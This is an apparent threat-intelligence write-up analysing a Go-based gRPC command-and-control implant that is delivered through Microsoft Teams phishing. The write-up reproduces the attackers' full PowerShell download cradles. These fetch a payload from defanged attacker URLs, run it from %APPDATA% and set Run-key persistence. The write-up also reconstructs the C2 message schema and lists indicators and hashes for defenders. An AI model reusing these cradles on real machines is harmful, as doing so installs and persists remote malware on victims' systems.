Executive Summary

According to Google, “Appenzeller” is a 700-year-old, pungent Swiss washed-rind cheese made from raw cow’s milk, known for its intense, spicy flavor profile driven by a secret herbal brine”.  Based on TLS cert name, it’s also what we’re calling some Go malware!

CyberMaxx is tracking active intrusions from a two-stage dropper delivering a Go-based command-and-control implant which a threat actor is actively targeting Teams users with.  The implant is equipped with deliberate anti-analysis measures that complicate both static and dynamic analysis. The TLS certificate pinned inside the binary was issued on May 1, 2026, making it a very recent and ongoing campaign.

The malware establishes a persistent bidirectional gRPC stream to operator-controlled infrastructure, accepts encrypted shell commands, and returns results wrapped in protobuf and secured with AES-256 and HMAC-256.

Of note for security teams, this version of the malware deploys basic PowerShell scripting to transfer payload stubs.   We sampled a seemingly endless array of dynamically composed binaries from the delivery server; they all used the same base64 encoded command structure.  Commonality with initial payload stubs: the `CN=Appenzeller` TLS certificate, and gRPC beaconing behavior from binaries planting themselves in users  %APPDATA% paths are all solid detection mechanisms.

Discovery & Initial Triage

The investigation began with SOC alerts for a PowerShell download cradle and PowerShell with base64 encoded commands.  Initial analysis by SOC analysts Kyle Colbert and Matt Dees determined this campaign was the result of a Microsoft Teams phishing attempt.

The first stage (pictured below) is straight out of Microsoft documentation for downloads with PowerShell.  This *may suggest automation, but there’s no conclusive evidence of that.  The standard “Invoke-WebRequest” method downloads a payload to a user’s “\AppData\Roaming” folder. Notably the filename is not hardcoded in the script — it is parsed from the “Content-Disposition” HTTP response header.  This means the C2 server controls the filename and headers dynamically. The operator serves different payloads on a per request basis; changing filenames to evade hash-based detection. It also affords them the ability to be agile, swapping stages entirely without modifying the dropper script.

$url = "hxxps://re104[]artcnb[]com/down"
$r = Invoke-WebRequest -Uri $url -MaximumRedirection 5 -UseBasicParsing
$filename = [regex]::Match($r.Headers["Content-Disposition"], 'filename="?([^"]+)"?').Groups[1].Value
$path = Join-Path $env:APPDATA $filename
$fs = [System.IO.File]::Create($path)
$r.RawContentStream.CopyTo($fs)
$fs.Close()
Start-Process $path
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Audio HD v2" -Value $path ;

The second stage, repeats the same download pattern & delivery location.  It then immediately executes the dropped binary with the “–token-raw” argument.

The “–token-raw=” argument is passed directly at launch. The two base64-encoded blobs, separated by a colon, contain 16 bytes, then 64 bytes of data.  Based on evidence from the disassembled code, this is an AES IV and a combined AES-256 + HMAC-256 key pair. Of the samples we collected, every instance of the binary gets unique key material from the operator at launch.

$url = "hxxps://re14[]dwlfl[]online/36/down43"
$r = Invoke-WebRequest -Uri $url -MaximumRedirection 5 -UseBasicParsing
$filename = [regex]::Match($r.Headers["Content-Disposition"], 'filename="?([^"]+)"?').Groups[1].Value
$path = Join-Path $env:APPDATA $filename
$fs = [System.IO.File]::Create($path)
$r.RawContentStream.CopyTo($fs)
$fs.Close()
$p1="--token-raw=DqQHK9OrlRthlIDYila7oA==:JKxgTwdXPGcx18P8wLvPuEKaKJXh+eKi1QE14vcFV+OCq8d17URKr647iNB3BjmjTv+oenva/TQTlYB/Q3XQDQ=="
Start-Process $path $p1

The Warez

Field  Value 
Type  PE32+ x64 GUI 
Size  11.5 MB 
Language  Go 
Module path  able/cmd/artifact/ 
PE Timestamp  0x00000000 (deliberately zeroed) 
TLS Cert CN  Appenzeller 
Cert NotBefore  2026-05-01 
Imports  kernel32.dll only 

As soon as we introduced the binary to a disassembler, we exposed the Go module path “able/cmd/artifact/”. Go binaries typically retain their module path in the pclntab (PC-to-line-number table), a runtime structure Go uses to map machine code to source code at runtime. In this case the presence of the pclntab enables us to go farther quicker: it gave us the full symbol table, all package names, and the proto source file path (internal/pkg/proto/agent.proto).

It’s worth mentioning that Go does not typically zero timestamps by default. This was deliberately set by the build process. We can’t authoritatively say, but it seems likely this is a choice intended to complicate correlation. But, wasn’t necessarily worth it.

The name Appenzeller — a Swiss cheese — may be an operator codename, an attempt to troll or joke, etc. The most important thing about the observable is a campaign identifier and potential for correlation / clustering.

The gRPC Stream

The implant establishes a likely persistent bidirectional gRPC stream to the C2 server. The choice of gRPC over mTLS seems deliberate. To a telemetry sensors, this traffic may be indistinguishable from legitimate enterprise gRPC services (Google APIs, internal microservices, etc.).

“Registration”

The implant’s first message on the stream is a RegisterRequest containing a Metadata message:

message Metadata { 

  string user_id = REDACTED; 

  repeated string tags = REDACTED; 

} 

message RegisterRequest { 

  Metadata metadata = REDACTED; 

} 

This is machine fingerprint data — hostname, username, OS version, or similar. The server responds with a RegisterResponse containing a session_id that is used to identify the victims instance. 

Reconstructed Proto Schema

We used an LLM to help us with analysis. Below is a partially completed reconstructed schema, recovered from the pclntab symbol table:

syntax = “proto3”; 

enum Status   { } 

enum ErrorCode { } 

message Metadata             { string user_id; repeated string tags; } 

message Error                { ErrorCode code; string message; } 

message RegisterRequest      { Metadata metadata; } 

message RegisterResponse     { Status status; string session_id;  

                               Error error; bytes result; } 

message Heartbeat            { string session_id; string user_id;  

                               int64 sent_at; } 

message ExecuteCommand       { string command; int64 timeout_seconds; } 

message ExecuteCommandResult { bytes stdout; bytes stderr;  

                               int32 exit_code; } 

message Command              { string command_id; int64 issued_at; 

                               oneof payload { ExecuteCommand execute; } } 

message CommandResult        { string command_id; Status status;  

                               Error error; 

                               oneof payload {  

                                 ExecuteCommandResult execute; } } 

message StreamMessage        { oneof payload { 

                                 RegisterRequest  register; 

                                 RegisterResponse registered; 

                                 Heartbeat        heartbeat; 

                                 Command          command; 

                                 CommandResult    command_result; } } 

service AgentService { 

  rpc Connect(stream StreamMessage) returns (stream StreamMessage); 

} 

 

Evasion & Anti-Analysis 

The most impactful anti-analysis measure is the use of garble/garble like function.  Garble is a Go build tool that encrypts string literals at compile time and inserts runtime decryption stubs.  

The practical impact for us: the majority of strings in disassembled code do not form coherent plaintext strings or easily traceable calls.  This is routinely a challenge in reverse engineering, especially so in Go.   

 

Single Import Table 

The PE import table contains only one entry: kernel32.dll. All other Windows API calls must be resolved dynamically. This defeats some Win32 import-based detections: a fairly standard technique of flagging binaries that import traditional methods for launching shell code like VirtualAlloc, CreateRemoteThread, WriteProcessMemory, etc. 

 

Binary Size 

At 11.5MB, the binary is large enough that it may cause detection issues for some AV / EDR products.  More than likely due to timeout-based methods of analysis. This is a known issue with malware written in Go, which has evasive consequences for defenders.  

 

Detection Opportunities 

There are several detectable artifacts defenders may chose to adopt. 

 

 Behavioral Indicators 

* TLS certificate subject: `CN=Appenzeller` 

* Recommended detection: Hunt across SSL/TLS inspection and certificate logs 

* Persistent gRPC (HTTP/2) connection originating from a `%APPDATA%`-resident binary 

* Single long-lived TCP session with sustained bidirectional traffic 

* Not consistent with typical client/server request-response behavior 

 

 Network Indicators

URLs 

* `hxxps://re14[.]dwlfl[.]online/36/down43` 

* `hxxps://re104[.]artcnb[.]com/down` 

 

Domains 

* `re14[.]dwlfl[.]online` 

* `re15[.]fldwnl[.]online` 

* `re104[.]artcnb[.]com` 

* `service-agent[.]top` 

 

 IP Addresses 

* `45[.]86[.]162[.]238` 

* `104[.]194[.]214[.]25` 

* `104[.]21[.]71[.]56` 

* `172[.]67[.]212[.]47` 

 

Host Indicators: 

  • Process launched with –token-raw=<b64>:<b64> argument pattern 
  • PowerShell DL Cradle (Invoke-WebRequest , IWR && usebasicparsin) 
  • “—token-raw” command flag 

Indicators of Compromise 

Type  Value 
SHA256  b464e1d31696aceea6714d0d6e8d98e8ef09f93dac96eb226913d4a6da620678 
TLS Cert CN  Appenzeller 
   
   
CLI Pattern  –token-raw=<b64>:<b64> 
   
Go Module  able/cmd/artifact/ 
Proto Path  internal/pkg/proto/agent.proto 

 

Other Samples from the same infrastructure: 

Algorithm  Hash  Name 
SHA1  272D9F4A37276F5AD0858FC4ECEF047B2352544D  able.exe 
SHA1  6C2556A964FAADBD2F5EDDD93EFD82FFD15D85FE  actor.exe 
SHA1  3FC3BB8EA491B68BB0446B0311EB5E3517C68F61  bargain.exe 
SHA1  D3AD90562DEC41651ACB3743DEE550885BB11657  describe.exe 
SHA1  36EF8773A306800B2858A428BF22460C4AAF83C4  dolphin.exe 
SHA1  E75DAA51D8E3616D1B5833696841B756A2AC25EB  foil.exe 
SHA1  E6BF13977F92290B1F861A444D384C77DC2FBBDF  frost.exe 
SHA1  4B2161B0DA1B85CF4709082BC8E9B250CD0DD20D  ginger.exe 
SHA1  B58642F2F49DA40FC5482BDB05D3A637727AFB4E  glare.exe 
SHA1  9235B9231F25D572B495A26A0CE2CC649F73327F  humble.exe 
SHA1  C5059DC17FE3AFA887397F22DAE5F5EE54A518EC  item.exe 
SHA1  2A138B22627FC219F0EDC32AD688C699F2CBE6FF  meat.exe 
SHA1  8E51C2635A207AFFD9F5D6548C15602B4EA21008  menu.exe 
SHA1  64FA639A326DA3EB46A8E06B5535A39FC6C632FB  pony.exe 
SHA1  88F7661153C5D839D94892D2FAEA4026E4BDE8DE  quantum.exe 
SHA1  FF3E5B819C612AEADF57576AA80BD92AA171576C  right.exe 
SHA1  0EE6F3182E3920D9E7DC902C9E479AC9B72A1379  rural.exe 
SHA1  41F4957B88F8F4FD722094EBB5DF559A577EE50F  source.exe 
SHA1  D61447C58CCF3BD7F272A880D4607043660272F4  teach.exe 
SHA1  55D064093954EB7CA2EB04A2FED0D6096A02CAE5  wood.exe 

 

References